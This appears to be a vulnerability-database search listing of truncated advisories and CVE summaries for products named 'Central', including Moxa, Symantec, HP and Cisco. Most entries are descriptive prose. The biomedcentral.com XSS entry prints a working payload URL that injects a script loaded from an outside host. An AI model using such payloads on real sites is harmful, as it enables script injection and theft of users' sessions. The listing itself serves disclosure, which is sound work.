CVE-2015-6989

Grand Central Dispatch in Apple iOS before 9.1, OS X before 10.11.1, and watchOS before 2.0.1 allows attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted package that is mishandled during dispatch calls...

Memory corruption

Grand Central Dispatch in Apple iOS before 9.1, OS X before 10.11.1, and watchOS before 2.0.1 allows attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted package that is mishandled during dispatch calls...

Apple iOS < 9.1 Multiple Vulnerabilities

Binary data appleios91check.nbin...

ManageEngine Desktop Central Tools Execution Status Update RCE (intrusive check)

The version of ManageEngine Desktop Central running on the remote host is affected by an unspecified remote code execution vulnerability in the system tools execution status updates due to a failure to properly sanitize user-supplied input. A remote, unauthenticated attacker can exploit this to...

Jasig / Apereo Central Authentication Service (CAS) Detection (HTTP)

HTTP based detection of the Apereo formerly Jasig Central Authentication Service CAS. SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

Moxa OnCell Central Manager Server MessageBrokerServlet Authentication Bypass Vulnerability

Moxa OnCell Central Manager provides Web access to private IP network devices. A security vulnerability exists in the implementation of Moxa OnCell Central Manager's MessageBrokerServlet that fails to authenticate the user's identity before accepting commands, which can be exploited by an attacke...

(0Day) Moxa OnCell Central Manager Server MessageBrokerServlet Authentication Bypass Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Moxa OnCell Central Manager Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the MessageBrokerServlet servlet, which does not ensure a user is...

(0Day) Moxa OnCell Central Manager Server RequestController Static Credentials Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Moxa OnCell Central Manager Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the RequestController class. The specific flaw exists within the...

Webroot SecureAnywhere Mobile Protection - MITM SSL Certificate Vulnerability

Webroot SecureAnywhere Mobile Protection - MITM SSL Certificate Vulnerability -- http://www.info-sec.ca/advisories/Webroot-SecureAnywhere.html Overview "Webroot SecureAnywhere Business – Mobile Protection provides essential security for iPhones and iPads and includes lost device protection that...

biomedcentral.com XSS vulnerability

Vulnerable URL: http://www.biomedcentral.com/1471-2229/15/210xss%27%22%3E%3Cscript%20src=%22http://otp22.com/M/XSSPOSED%22%3E%3C/script%3E%3Cfragment%20x Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest check for patch:| 30.01.2016 22:21 GMT Vulnerability type:| XSS...

Moxa OnCell Central Manager Vulnerabilities

OVERVIEW NCCIC/ICS-CERT received a report from HP’s Zero Day Initiative ZDI concerning hardcoded credentials and authentication bypass vulnerabilities in Moxa’s OnCell Central Manager Software. These vulnerabilities were reported to ZDI by security researcher Andrea Micalizzi. Moxa has released a...

British-born ISIS Hacker Killed in US Drone Strike in Syria

Remember Team Poison? The hackers group that was active in 2012, and was known for gaining access to the former Prime Minister Tony Blair's address book and then publishing information from it. The British hacker who actually obtained the Prime Minister's address book and was jailed for six month...

Symantec Endpoint Protection Manager authentication bypass

Added: 08/26/2015 CVE: CVE-2015-1486 BID: 76074 Background Symantec Endpoint Protection, by Symantec Corporation, is an antivirus and personal firewall product designed to be centrally managed in corporate environments by the Symantec Endpoint Protection Manager SEPM. Problem Symantec Endpoint...

Symantec Endpoint Protection Manager authentication bypass

Added: 08/26/2015 CVE: CVE-2015-1486 BID: 76074 Background Symantec Endpoint Protection, by Symantec Corporation, is an antivirus and personal firewall product designed to be centrally managed in corporate environments by the Symantec Endpoint Protection Manager SEPM. Problem Symantec Endpoint...

[security bulletin] HPSBGN03386 rev.1 - HP Central View Fraud Risk Management, Revenue Leakage Control, Dealer Performance Audit, Credit Risk Control, Roaming Fraud Control, Subscription Fraud Prevention, Remote Disclosure of Information, Local Discl

Note: the current version of the following document is available here: https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/ docDisplay?docId=emrna-c04751893 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c04751893 Version: 1 HPSBGN03386 rev.1 - HP Central View Fraud Risk Management,...

HP Central View applications information leakage

No description provided...

The vulnerability of the Cisco UCS Central operating system, allowing a hacker to read arbitrary files

The vulnerability of the Cisco UCS Central operating system’s web framework exists due to insufficient validation of input data. Exploiting this vulnerability allows a malicious actor to read arbitrary files using a specially crafted HTTP request...

Cisco Prime Central for Hosted Collaboration Solution Cross-Site Scripting Vulnerability

Cisco Prime Central for Hosted Collaboration Solution PC4HCS is a carrier-grade, scalable service assurance management platform from Cisco. The platform provides secure access to authentication, real-time fault analysis and other functions. A cross-site scripting vulnerability exists in the...

CVE-2015-4292

Cross-site scripting XSS vulnerability in the management interface in Cisco Prime Central for Hosted Collaboration Solution PC4HCS 10.62 allows remote attackers to inject arbitrary web script or HTML via an unspecified value, aka Bug ID CSCuv45818...

Cross site scripting

Cross-site scripting XSS vulnerability in the management interface in Cisco Prime Central for Hosted Collaboration Solution PC4HCS 10.62 allows remote attackers to inject arbitrary web script or HTML via an unspecified value, aka Bug ID CSCuv45818...